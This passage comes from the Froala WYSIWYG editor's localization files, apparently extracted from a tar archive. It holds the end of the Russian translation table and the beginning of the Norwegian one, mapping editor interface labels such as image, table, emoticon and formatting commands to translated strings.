"\u0412\u044B\u0431\u0435\u0440\u0438\u0442\u0435 \u0441\u0441\u044B\u043B\u043A\u0443", // Images 'Insert Image': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0438\u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u0438\u0435", 'Upload Image': "\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0438\u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u0438\u0435", 'By URL': "\u041F\u043E \u0441\u0441\u044B\u043B\u043A\u0435", 'Browse': "\u0417\u0430\u0433\u0440\u0443\u0436\u0435\u043D\u043D\u044B\u0435 \u0438\u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u0438\u044F", 'Drop image': "\u041F\u0435\u0440\u0435\u043C\u0435\u0441\u0442\u0438\u0442\u0435 \u0441\u044E\u0434\u0430 \u0438\u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u0438\u0435", 'or click': "\u0438\u043B\u0438 \u043D\u0430\u0436\u043C\u0438\u0442\u0435", 'Manage Images': "\u0423\u043F\u0440\u0430\u0432\u043B\u0435\u043D\u0438\u0435 \u0438\u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u0438\u044F\u043C\u0438", 'Loading': "\u0417\u0430\u0433\u0440\u0443\u0437\u043A\u0430", 'Deleting': "\u0423\u0434\u0430\u043B\u0435\u043D\u0438\u0435", 'Tags': "\u041A\u043B\u044E\u0447\u0435\u0432\u044B\u0435 \u0441\u043B\u043E\u0432\u0430", 'Are you sure? Image will be deleted.': "\u0412\u044B \u0443\u0432\u0435\u0440\u0435\u043D\u044B? \u0418\u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u0430\u043B\u0435\u043D\u043E.", 'Replace': "\u0417\u0430\u043C\u0435\u043D\u0438\u0442\u044C", 'Uploading': "\u0417\u0430\u0433\u0440\u0443\u0437\u043A\u0430", 'Loading image': "\u0417\u0430\u0433\u0440\u0443\u0437\u043A\u0430 \u0438\u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u0438\u044F", 'Display': "\u041F\u043E\u043B\u043E\u0436\u0435\u043D\u0438\u0435", 'Inline': "\u041E\u0431\u0442\u0435\u043A\u0430\u043D\u0438\u0435 \u0442\u0435\u043A\u0441\u0442\u043E\u043C", 'Break Text': "\u0412\u0441\u0442\u0440\u043E\u0435\u043D\u043D\u043E\u0435 \u0432 \u0442\u0435\u043A\u0441\u0442", 'Alternative Text': "\u0410\u043B\u044C\u0442\u0435\u0440\u043D\u0430\u0442\u0438\u0432\u043D\u044B\u0439 \u0442\u0435\u043A\u0441\u0442", 'Change Size': "\u0418\u0437\u043C\u0435\u043D\u0438\u0442\u044C \u0440\u0430\u0437\u043C\u0435\u0440", 'Width': "\u0428\u0438\u0440\u0438\u043D\u0430", 'Height': "\u0412\u044B\u0441\u043E\u0442\u0430", 'Something went wrong. Please try again.': "\u0427\u0442\u043E-\u0442\u043E \u043F\u043E\u0448\u043B\u043E \u043D\u0435 \u0442\u0430\u043A. \u041F\u043E\u0436\u0430\u043B\u0443\u0439\u0441\u0442\u0430, \u043F\u043E\u043F\u0440\u043E\u0431\u0443\u0439\u0442\u0435 \u0435\u0449\u0435 \u0440\u0430\u0437.", 'Image Caption': 'Подпись к изображению', 'Advanced Edit': 'Расширенное редактирование', // Video 'Insert Video': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0432\u0438\u0434\u0435\u043E", 'Embedded Code': "HTML-\u043A\u043E\u0434 \u0434\u043B\u044F \u0432\u0441\u0442\u0430\u0432\u043A\u0438", 'Paste in a video URL': 'Вставить URL-адрес видео', 'Drop video': 'Вставить видео', 'Your browser does not support HTML5 video.': 'Ваш браузер не поддерживает html5 видео.', 'Upload Video': 'Загрузить видео', // Tables 'Insert Table': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0442\u0430\u0431\u043B\u0438\u0446\u0443", 'Table Header': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A \u0442\u0430\u0431\u043B\u0438\u0446\u044B", 'Remove Table': "\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0442\u0430\u0431\u043B\u0438\u0446\u0443", 'Table Style': "\u0421\u0442\u0438\u043B\u044C \u0442\u0430\u0431\u043B\u0438\u0446\u044B", 'Horizontal Align': "\u0413\u043E\u0440\u0438\u0437\u043E\u043D\u0442\u0430\u043B\u044C\u043D\u043E\u0435 \u0432\u044B\u0440\u0430\u0432\u043D\u0438\u0432\u0430\u043D\u0438\u0435", 'Row': "\u0421\u0442\u0440\u043E\u043A\u0430", 'Insert row above': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0441\u0442\u0440\u043E\u043A\u0443 \u0441\u0432\u0435\u0440\u0445\u0443", 'Insert row below': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0441\u0442\u0440\u043E\u043A\u0443 \u0441\u043D\u0438\u0437\u0443", 'Delete row': "\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0441\u0442\u0440\u043E\u043A\u0443", 'Column': "\u0421\u0442\u043E\u043B\u0431\u0435\u0446", 'Insert column before': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0441\u0442\u043E\u043B\u0431\u0435\u0446 \u0441\u043B\u0435\u0432\u0430", 'Insert column after': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0441\u0442\u043E\u043B\u0431\u0435\u0446 \u0441\u043F\u0440\u0430\u0432\u0430", 'Delete column': "\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0441\u0442\u043E\u043B\u0431\u0435\u0446", 'Cell': "\u042F\u0447\u0435\u0439\u043A\u0430", 'Merge cells': "\u041E\u0431\u044A\u0435\u0434\u0438\u043D\u0438\u0442\u044C \u044F\u0447\u0435\u0439\u043A\u0438", 'Horizontal split': "\u0420\u0430\u0437\u0434\u0435\u043B\u0438\u0442\u044C \u0433\u043E\u0440\u0438\u0437\u043E\u043D\u0442\u0430\u043B\u044C\u043D\u043E", 'Vertical split': "\u0420\u0430\u0437\u0434\u0435\u043B\u0438\u0442\u044C \u0432\u0435\u0440\u0442\u0438\u043A\u0430\u043B\u044C\u043D\u043E", 'Cell Background': "\u0424\u043E\u043D \u044F\u0447\u0435\u0439\u043A\u0438", 'Vertical Align': "\u0412\u0435\u0440\u0442\u0438\u043A\u0430\u043B\u044C\u043D\u043E\u0435 \u0432\u044B\u0440\u0430\u0432\u043D\u0438\u0432\u0430\u043D\u0438\u0435", 'Top': "\u041F\u043E \u0432\u0435\u0440\u0445\u043D\u0435\u043C\u0443 \u043A\u0440\u0430\u044E", 'Middle': "\u041F\u043E\u0441\u0435\u0440\u0435\u0434\u0438\u043D\u0435", 'Bottom': "\u041F\u043E \u043D\u0438\u0436\u043D\u0435\u043C\u0443 \u043A\u0440\u0430\u044E", 'Align Top': "\u0412\u044B\u0440\u043E\u0432\u043D\u044F\u0442\u044C \u043F\u043E \u0432\u0435\u0440\u0445\u043D\u0435\u043C\u0443 \u043A\u0440\u0430\u044E", 'Align Middle': "\u0412\u044B\u0440\u043E\u0432\u043D\u044F\u0442\u044C \u043F\u043E \u0441\u0435\u0440\u0435\u0434\u0438\u043D\u0435", 'Align Bottom': "\u0412\u044B\u0440\u043E\u0432\u043D\u044F\u0442\u044C \u043F\u043E \u043D\u0438\u0436\u043D\u0435\u043C\u0443 \u043A\u0440\u0430\u044E", 'Cell Style': "\u0421\u0442\u0438\u043B\u044C \u044F\u0447\u0435\u0439\u043A\u0438", // Files 'Upload File': "\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0444\u0430\u0439\u043B", 'Drop file': "\u041F\u0435\u0440\u0435\u043C\u0435\u0441\u0442\u0438\u0442\u0435 \u0441\u044E\u0434\u0430 \u0444\u0430\u0439\u043B", // Emoticons 'Emoticons': "\u0421\u043C\u0430\u0439\u043B\u0438\u043A\u0438", 'Grinning face': "\u0423\u0445\u043C\u044B\u043B\u043A\u0430 \u043D\u0430 \u043B\u0438\u0446\u0435", 'Grinning face with smiling eyes': "\u0423\u0441\u043C\u0435\u0445\u043D\u0443\u0432\u0448\u0435\u0435\u0441\u044F \u043B\u0438\u0446\u043E \u0441 \u0443\u043B\u044B\u0431\u0430\u044E\u0449\u0438\u043C\u0438\u0441\u044F \u0433\u043B\u0430\u0437\u0430\u043C\u0438", 'Face with tears of joy': "\u041B\u0438\u0446\u043E \u0441\u043E \u0441\u043B\u0435\u0437\u0430\u043C\u0438 \u0440\u0430\u0434\u043E\u0441\u0442\u0438", 'Smiling face with open mouth': "\u0423\u043B\u044B\u0431\u0430\u044E\u0449\u0435\u0435\u0441\u044F \u043B\u0438\u0446\u043E \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0440\u0442\u043E\u043C", 'Smiling face with open mouth and smiling eyes': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0440\u0442\u043E\u043C \u0438 \u0443\u043B\u044B\u0431\u0430\u044E\u0449\u0438\u0435\u0441\u044F \u0433\u043B\u0430\u0437\u0430", 'Smiling face with open mouth and cold sweat': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0440\u0442\u043E\u043C \u0438 \u0445\u043E\u043B\u043E\u0434\u043D\u044B\u0439 \u043F\u043E\u0442", 'Smiling face with open mouth and tightly-closed eyes': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0440\u0442\u043E\u043C \u0438 \u043F\u043B\u043E\u0442\u043D\u043E \u0437\u0430\u043A\u0440\u044B\u0442\u044B\u043C\u0438 \u0433\u043B\u0430\u0437\u0430\u043C\u0438", 'Smiling face with halo': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0433\u0430\u043B\u043E", 'Smiling face with horns': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0441 \u0440\u043E\u0433\u0430\u043C\u0438", 'Winking face': "\u043F\u043E\u0434\u043C\u0438\u0433\u0438\u0432\u0430\u044F \u043B\u0438\u0446\u043E", 'Smiling face with smiling eyes': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0441 \u0443\u043B\u044B\u0431\u0430\u044E\u0449\u0438\u043C\u0438\u0441\u044F \u0433\u043B\u0430\u0437\u0430\u043C\u0438", 'Face savoring delicious food': "\u041B\u0438\u0446\u043E \u0441\u043C\u0430\u043A\u0443\u044E\u0449\u0435\u0435 \u0432\u043A\u0443\u0441\u043D\u0443\u044E \u0435\u0434\u0443", 'Relieved face': "\u041E\u0441\u0432\u043E\u0431\u043E\u0436\u0434\u0435\u043D\u044B \u043B\u0438\u0446\u043E", 'Smiling face with heart-shaped eyes': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0432 \u0444\u043E\u0440\u043C\u0435 \u0441\u0435\u0440\u0434\u0446\u0430 \u0433\u043B\u0430\u0437\u0430\u043C\u0438", 'Smiling face with sunglasses': "\u0423\u043B\u044B\u0431\u0430\u044F\u0441\u044C \u043B\u0438\u0446\u043E \u0441 \u043E\u0447\u043A\u0430\u043C\u0438", 'Smirking face': "\u0423\u0441\u043C\u0435\u0445\u043D\u0443\u0432\u0448\u0438\u0441\u044C \u043B\u0438\u0446\u043E", 'Neutral face': "\u041E\u0431\u044B\u0447\u043D\u044B\u0439 \u043B\u0438\u0446\u043E", 'Expressionless face': "\u041D\u0435\u0432\u044B\u0440\u0430\u0437\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Unamused face': "\u041D\u0435 \u0441\u043C\u0435\u0448\u043D\u043E \u043B\u0438\u0446\u043E", 'Face with cold sweat': "\u041B\u0438\u0446\u043E \u0432 \u0445\u043E\u043B\u043E\u0434\u043D\u043E\u043C \u043F\u043E\u0442\u0443", 'Pensive face': "\u0417\u0430\u0434\u0443\u043C\u0447\u0438\u0432\u044B\u0439 \u043B\u0438\u0446\u043E", 'Confused face': "\u0421\u043C\u0443\u0449\u0435\u043D\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Confounded face': "\u041F\u043E\u0441\u0442\u044B\u0434\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Kissing face': "\u041F\u043E\u0446\u0435\u043B\u0443\u0438 \u043B\u0438\u0446\u043E", 'Face throwing a kiss': "\u041B\u0438\u0446\u043E \u043E\u0442\u043F\u0440\u0430\u0432\u043B\u044F\u044E\u0449\u0435\u0435 \u043F\u043E\u0446\u0435\u043B\u0443\u0439", 'Kissing face with smiling eyes': "\u041F\u043E\u0446\u0435\u043B\u0443\u0438 \u043B\u0438\u0446\u043E \u0441 \u0443\u043B\u044B\u0431\u0430\u044E\u0449\u0438\u043C\u0438\u0441\u044F \u0433\u043B\u0430\u0437\u0430\u043C\u0438", 'Kissing face with closed eyes': "\u041F\u043E\u0446\u0435\u043B\u0443\u0438 \u043B\u0438\u0446\u043E \u0441 \u0437\u0430\u043A\u0440\u044B\u0442\u044B\u043C\u0438 \u0433\u043B\u0430\u0437\u0430\u043C\u0438", 'Face with stuck out tongue': "\u041B\u0438\u0446\u043E \u0441 \u0442\u043E\u0440\u0447\u0430\u0449\u0438\u043C \u044F\u0437\u044B\u043A\u043E\u043C", 'Face with stuck out tongue and winking eye': "\u041B\u0438\u0446\u043E \u0441 \u0442\u043E\u0440\u0447\u0430\u0449\u0438\u043C \u044F\u0437\u044B\u043A\u043E\u043C \u0438 \u043F\u043E\u0434\u043C\u0438\u0433\u0438\u0432\u0430\u044E\u0449\u0438\u043C \u0433\u043B\u0430\u0437\u043E\u043C", 'Face with stuck out tongue and tightly-closed eyes': "\u041B\u0438\u0446\u043E \u0441 \u0442\u043E\u0440\u0447\u0430\u0449\u0438\u043C \u044F\u0437\u044B\u043A\u043E\u043C \u0438 \u043F\u043B\u043E\u0442\u043D\u043E \u0437\u0430\u043A\u0440\u044B\u0442\u044B\u043C\u0438 \u0433\u043B\u0430\u0437\u0430\u043C\u0438", 'Disappointed face': "\u0420\u0430\u0437\u043E\u0447\u0430\u0440\u043E\u0432\u0430\u043D\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Worried face': "\u041E\u0431\u0435\u0441\u043F\u043E\u043A\u043E\u0435\u043D\u043D\u044B\u0439 \u043B\u0438\u0446\u043E", 'Angry face': "\u0417\u043B\u043E\u0439 \u043B\u0438\u0446\u043E", 'Pouting face': "\u041F\u0443\u0445\u043B\u044B\u0435 \u043B\u0438\u0446\u043E", 'Crying face': "\u041F\u043B\u0430\u0447\u0443\u0449\u0435\u0435 \u043B\u0438\u0446\u043E", 'Persevering face': "\u041D\u0430\u0441\u0442\u043E\u0439\u0447\u0438\u0432\u0430\u044F \u043B\u0438\u0446\u043E", 'Face with look of triumph': "\u041B\u0438\u0446\u043E \u0441 \u0432\u0438\u0434\u043E\u043C \u0442\u0440\u0438\u0443\u043C\u0444\u0430", 'Disappointed but relieved face': "\u0420\u0430\u0437\u043E\u0447\u0430\u0440\u043E\u0432\u0430\u043D\u043D\u043E\u0435, \u043D\u043E \u0441\u043F\u043E\u043A\u043E\u0439\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Frowning face with open mouth': "\u041D\u0430\u0445\u043C\u0443\u0440\u0435\u043D\u043D\u043E\u0435 \u043B\u0438\u0446\u043E \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0440\u0442\u043E\u043C", 'Anguished face': "\u043C\u0443\u0447\u0438\u0442\u0435\u043B\u044C\u043D\u044B\u0439 \u043B\u0438\u0446\u043E", 'Fearful face': "\u041D\u0430\u043F\u0443\u0433\u0430\u043D\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Weary face': "\u0423\u0441\u0442\u0430\u043B\u044B\u0439 \u043B\u0438\u0446\u043E", 'Sleepy face': "\u0441\u043E\u043D\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Tired face': "\u0423\u0441\u0442\u0430\u043B\u0438 \u043B\u0438\u0446\u043E", 'Grimacing face': "\u0413\u0440\u0438\u043C\u0430\u0441\u0430 \u043D\u0430 \u043B\u0438\u0446\u0435", 'Loudly crying face': "\u0413\u0440\u043E\u043C\u043A\u043E \u043F\u043B\u0430\u0447\u0430 \u043B\u0438\u0446\u043E", 'Face with open mouth': "\u041B\u0438\u0446\u043E \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0440\u0442\u043E\u043C", 'Hushed face': "\u0417\u0430\u0442\u0438\u0445\u0448\u0438\u0439 \u043B\u0438\u0446\u043E", 'Face with open mouth and cold sweat': "\u041B\u0438\u0446\u043E \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0440\u0442\u043E\u043C \u0432 \u0445\u043E\u043B\u043E\u0434\u043D\u043E\u043C \u043F\u043E\u0442\u0443", 'Face screaming in fear': "\u041B\u0438\u0446\u043E \u043A\u0440\u0438\u0447\u0430\u0449\u0435\u0435 \u043E\u0442 \u0441\u0442\u0440\u0430\u0445\u0430", 'Astonished face': "\u0423\u0434\u0438\u0432\u043B\u0435\u043D\u043D\u043E\u0435 \u043B\u0438\u0446\u043E", 'Flushed face': "\u041F\u043E\u043A\u0440\u0430\u0441\u043D\u0435\u0432\u0448\u0435\u0435 \u043B\u0438\u0446\u043E", 'Sleeping face': "\u0421\u043F\u044F\u0449\u0430\u044F \u043B\u0438\u0446\u043E", 'Dizzy face': "\u0414\u0438\u0437\u0437\u0438 \u043B\u0438\u0446\u043E", 'Face without mouth': "\u041B\u0438\u0446\u043E \u0431\u0435\u0437 \u0440\u0442\u0430", 'Face with medical mask': "\u041B\u0438\u0446\u043E \u0441 \u043C\u0435\u0434\u0438\u0446\u0438\u043D\u0441\u043A\u043E\u0439 \u043C\u0430\u0441\u043A\u043E\u0439", // Line breaker 'Break': "\u041D\u043E\u0432\u0430\u044F \u0441\u0442\u0440\u043E\u043A\u0430", // Math 'Subscript': "\u041D\u0438\u0436\u043D\u0438\u0439 \u0438\u043D\u0434\u0435\u043A\u0441", 'Superscript': "\u0412\u0435\u0440\u0445\u043D\u0438\u0439 \u0438\u043D\u0434\u0435\u043A\u0441", // Full screen 'Fullscreen': "\u041D\u0430 \u0432\u0435\u0441\u044C \u044D\u043A\u0440\u0430\u043D", // Horizontal line 'Insert Horizontal Line': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0433\u043E\u0440\u0438\u0437\u043E\u043D\u0442\u0430\u043B\u044C\u043D\u0443\u044E \u043B\u0438\u043D\u0438\u044E", // Clear formatting 'Clear Formatting': "\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0444\u043E\u0440\u043C\u0430\u0442\u0438\u0440\u043E\u0432\u0430\u043D\u0438\u0435", // Save 'Save': "\u0421\u043E\u0445\u0440\u0430\u043D\u0438\u0442\u044C", // Undo, redo 'Undo': "\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C", 'Redo': "\u041F\u043E\u0432\u0442\u043E\u0440\u0438\u0442\u044C", // Select all 'Select All': "\u0412\u044B\u0431\u0440\u0430\u0442\u044C \u0432\u0441\u0451", // Code view 'Code View': "\u041F\u0440\u043E\u0441\u043C\u043E\u0442\u0440 HTML-\u043A\u043E\u0434\u0430", // Quote 'Quote': "\u0426\u0438\u0442\u0430\u0442\u0430", 'Increase': "\u0423\u0432\u0435\u043B\u0438\u0447\u0435\u043D\u0438\u0435", 'Decrease': "\u0421\u043D\u0438\u0436\u0435\u043D\u0438\u0435", // Quick Insert 'Quick Insert': "\u0411\u044B\u0441\u0442\u0440\u0430\u044F \u0432\u0441\u0442\u0430\u0432\u043A\u0430", // Spcial Characters 'Special Characters': 'Специальные символы', 'Latin': 'Латинский', 'Greek': 'Греческий', 'Cyrillic': 'Кириллица', 'Punctuation': 'Пунктуация', 'Currency': 'Валюта', 'Arrows': 'Стрелки', 'Math': 'Математический', 'Misc': 'Разное', // Print. 'Print': 'Распечатать', // Spell Checker. 'Spell Checker': 'Программа проверки орфографии', // Help 'Help': 'Помощь', 'Shortcuts': 'Горячие клавищи', 'Inline Editor': 'Встроенный редактор', 'Show the editor': 'Показать редактор', 'Common actions': 'Общие действия', 'Copy': 'Копировать', 'Cut': 'Вырезать', 'Paste': 'Вставить', 'Basic Formatting': 'Базовое форматирование', 'Increase quote level': 'Увеличить уровень цитирования', 'Decrease quote level': 'Уменьшить уровень цитирования', 'Image / Video': 'Изображение / Видео', 'Resize larger': 'Изменить размер', 'Resize smaller': 'Уменьшить размер', 'Table': 'Таблица', 'Select table cell': 'Выбрать ячейку таблицы', 'Extend selection one cell': 'Расширить выделение одной ячейки', 'Extend selection one row': 'Расширить выделение на одну строку', 'Navigation': 'Навигация', 'Focus popup / toolbar': 'Сфокусировать всплывающее окно / панель инструментов', 'Return focus to previous position': 'Вернуть фокус на предыдущую позицию', // Embed.ly 'Embed URL': 'Вставить URL-адрес', 'Paste in a URL to embed': 'Вставить URL-адрес для встраивания', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Вы пытаетесь вставить текст из документа Microsoft Word. Вы хотите сохранить или очистить формат?', 'Keep': 'Оставить', 'Clean': 'Очистить', 'Word Paste Detected': 'Обнаружено копирование из Word', // Character Counter 'Characters': 'символы', // More Buttons 'More Text': 'Редактирование текста', 'More Paragraph': 'Редактирование параграфа', 'More Rich': 'Вставка', 'More Misc': 'Другое' }, direction: 'ltr' }; }))); //# sourceMappingURL=ru.js.map languages/nb.js 0000674 00000025063 00000000000 0007421 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Norwegian */ FE.LANGUAGE['nb'] = { translation: { // Place holder 'Type something': 'Skriv noe', // Basic formatting 'Bold': 'Fet', 'Italic': 'Kursiv', 'Underline': 'Understreket', 'Strikethrough': 'Gjennomstreket', // Main buttons 'Insert': 'Sett', 'Delete': 'Slett', 'Cancel': 'Avbryt', 'OK': 'OK', 'Back': 'Tilbake', 'Remove': 'Fjern', 'More': 'Mer', 'Update': 'Oppdatering', 'Style': 'Stil', // Font 'Font Family': 'Skriftsnitt', 'Font Size': "St\xF8rrelse", // Colors 'Colors': 'Farger', 'Background': 'Bakgrunn', 'Text': 'Tekst', 'HEX Color': 'Heksefarge', // Paragraphs 'Paragraph Format': 'Stiler', 'Normal': 'Normal', 'Code': 'Kode', 'Heading 1': 'Overskrift 1', 'Heading 2': 'Overskrift 2', 'Heading 3': 'Overskrift 3', 'Heading 4': 'Overskrift 4', // Style 'Paragraph Style': 'Avsnittsstil', 'Inline Style': "P\xE5 linje stil", // Alignment 'Align': 'Justering', 'Align Left': 'Venstrejustert', 'Align Center': 'Midtstilt', 'Align Right': "H\xF8yrejustert", 'Align Justify': 'Juster alle linjer', 'None': 'None', // Lists 'Ordered List': 'Ordnet liste', 'Unordered List': 'Uordnet liste', // Indent 'Decrease Indent': 'Reduser innrykk', 'Increase Indent': "\xD8k innrykk", // Links 'Insert Link': 'Sett inn lenke', 'Open in new tab': "\xC5pne i ny fane", 'Open Link': "\xC5pne lenke", 'Edit Link': 'Rediger lenke', 'Unlink': 'Fjern lenke', 'Choose Link': 'Velge lenke', // Images 'Insert Image': 'Sett inn bilde', 'Upload Image': 'Last opp bilde', 'By URL': 'Ved URL', 'Browse': 'Bla', 'Drop image': 'Slippe bilde', 'or click': 'eller klikk', 'Manage Images': 'Bildebehandling', 'Loading': 'Lasting', 'Deleting': 'Slette', 'Tags': 'Tags', 'Are you sure? Image will be deleted.': 'Er du sikker? Bildet vil bli slettet.', 'Replace': 'Erstatte', 'Uploading': 'Opplasting', 'Loading image': 'Lasting bilde', 'Display': 'Utstilling', 'Inline': "P\xE5 linje", 'Break Text': 'Brudd tekst', 'Alternative Text': 'Alternativ tekst', 'Change Size': "Endre st\xF8rrelse", 'Width': 'Bredde', 'Height': "H\xF8yde", 'Something went wrong. Please try again.': "Noe gikk galt. V\xE6r s\xE5 snill, pr\xF8v p\xE5 nytt.", 'Image Caption': 'Bilde bildetekst', 'Advanced Edit': 'Avansert redigering', // Video 'Insert Video': 'Sett inn video', 'Embedded Code': 'Embedded kode', 'Paste in a video URL': 'Lim inn i en video-url', 'Drop video': 'Slipp video', 'Your browser does not support HTML5 video.': 'Nettleseren din støtter ikke html5 video.', 'Upload Video': 'Last opp video', // Tables 'Insert Table': 'Sett inn tabell', 'Table Header': 'Tabell header', 'Remove Table': 'Fjern tabell', 'Table Style': 'Tabell stil', 'Horizontal Align': 'Horisontal justering', 'Row': 'Rad', 'Insert row above': "Sett inn rad f\xF8r", 'Insert row below': 'Sett in rad etter', 'Delete row': 'Slett rad', 'Column': 'Kolonne', 'Insert column before': "Sett inn kolonne f\xF8r", 'Insert column after': 'Sett inn kolonne etter', 'Delete column': 'Slett kolonne', 'Cell': 'Celle', 'Merge cells': "Sl\xE5 sammen celler", 'Horizontal split': 'Horisontalt delt', 'Vertical split': 'Vertikal split', 'Cell Background': 'Celle bakgrunn', 'Vertical Align': 'Vertikal justering', 'Top': 'Topp', 'Middle': 'Midten', 'Bottom': 'Bunn', 'Align Top': 'Justere toppen', 'Align Middle': 'Justere midten', 'Align Bottom': 'Justere bunnen', 'Cell Style': 'Celle stil', // Files 'Upload File': 'Opplastingsfil', 'Drop file': 'Slippe fil', // Emoticons 'Emoticons': 'Emoticons', 'Grinning face': 'Flirer ansikt', 'Grinning face with smiling eyes': "Flirer ansikt med smilende \xF8yne", 'Face with tears of joy': "Ansikt med t\xE5rer av glede", 'Smiling face with open mouth': "Smilende ansikt med \xE5pen munn", 'Smiling face with open mouth and smiling eyes': "Smilende ansikt med \xE5pen munn og smilende \xF8yne", 'Smiling face with open mouth and cold sweat': "Smilende ansikt med \xE5pen munn og kald svette", 'Smiling face with open mouth and tightly-closed eyes': "Smilende ansikt med \xE5pen munn og tett lukkede \xF8yne", 'Smiling face with halo': 'Smilende ansikt med glorie', 'Smiling face with horns': 'Smilende ansikt med horn', 'Winking face': 'Blunk ansikt', 'Smiling face with smiling eyes': "Smilende ansikt med smilende \xF8yne", 'Face savoring delicious food': "M\xF8te nyter deilig mat", 'Relieved face': 'Lettet ansikt', 'Smiling face with heart-shaped eyes': "Smilende ansikt med hjerteformede \xF8yne", 'Smiling face with sunglasses': 'Smilende ansikt med solbriller', 'Smirking face': 'Tilfreds ansikt', 'Neutral face': "N\xF8ytral ansikt", 'Expressionless face': "Uttrykksl\xF8st ansikt", 'Unamused face': 'Ikke moret ansikt', 'Face with cold sweat': 'Ansikt med kald svette', 'Pensive face': 'Tankefull ansikt', 'Confused face': 'Forvirret ansikt', 'Confounded face': 'Skamme ansikt', 'Kissing face': 'Kyssing ansikt', 'Face throwing a kiss': 'Ansikt kaste et kyss', 'Kissing face with smiling eyes': "Kyssing ansikt med smilende \xF8yne", 'Kissing face with closed eyes': "Kyssing ansiktet med lukkede \xF8yne", 'Face with stuck out tongue': 'Ansikt med stakk ut tungen', 'Face with stuck out tongue and winking eye': "Ansikt med stakk ut tungen og blunke \xF8ye", 'Face with stuck out tongue and tightly-closed eyes': "Ansikt med fast ut tungen og tett lukket \xF8yne", 'Disappointed face': 'Skuffet ansikt', 'Worried face': 'Bekymret ansikt', 'Angry face': 'Sint ansikt', 'Pouting face': 'Trutmunn ansikt', 'Crying face': "Gr\xE5ter ansikt", 'Persevering face': 'Utholdende ansikt', 'Face with look of triumph': 'Ansikt med utseendet til triumf', 'Disappointed but relieved face': 'Skuffet men lettet ansikt', 'Frowning face with open mouth': "Rynke ansikt med \xE5pen munn", 'Anguished face': 'Forpint ansikt', 'Fearful face': 'Engstelig ansikt', 'Weary face': 'Slitne ansiktet', 'Sleepy face': "S\xF8vnig ansikt", 'Tired face': "Tr\xF8tt ansikt", 'Grimacing face': 'Griner ansikt', 'Loudly crying face': "H\xF8ylytt gr\xE5tende ansikt", 'Face with open mouth': "Ansikt med \xE5pen munn", 'Hushed face': "Lavm\xE6lt ansikt", 'Face with open mouth and cold sweat': "Ansikt med \xE5pen munn og kald svette", 'Face screaming in fear': 'Ansikt skriker i frykt', 'Astonished face': 'Forbauset ansikt', 'Flushed face': 'Flushed ansikt', 'Sleeping face': 'Sovende ansikt', 'Dizzy face': 'Svimmel ansikt', 'Face without mouth': 'Ansikt uten munn', 'Face with medical mask': 'Ansikt med medisinsk maske', // Line breaker 'Break': 'Brudd', // Math 'Subscript': 'Senket skrift', 'Superscript': 'Hevet skrift', // Full screen 'Fullscreen': 'Full skjerm', // Horizontal line 'Insert Horizontal Line': 'Sett inn horisontal linje', // Clear formatting 'Clear Formatting': 'Fjerne formatering', // Save 'Save': 'Lagre', // Undo, redo 'Undo': 'Angre', 'Redo': "Utf\xF8r likevel", // Select all 'Select All': 'Marker alt', // Code view 'Code 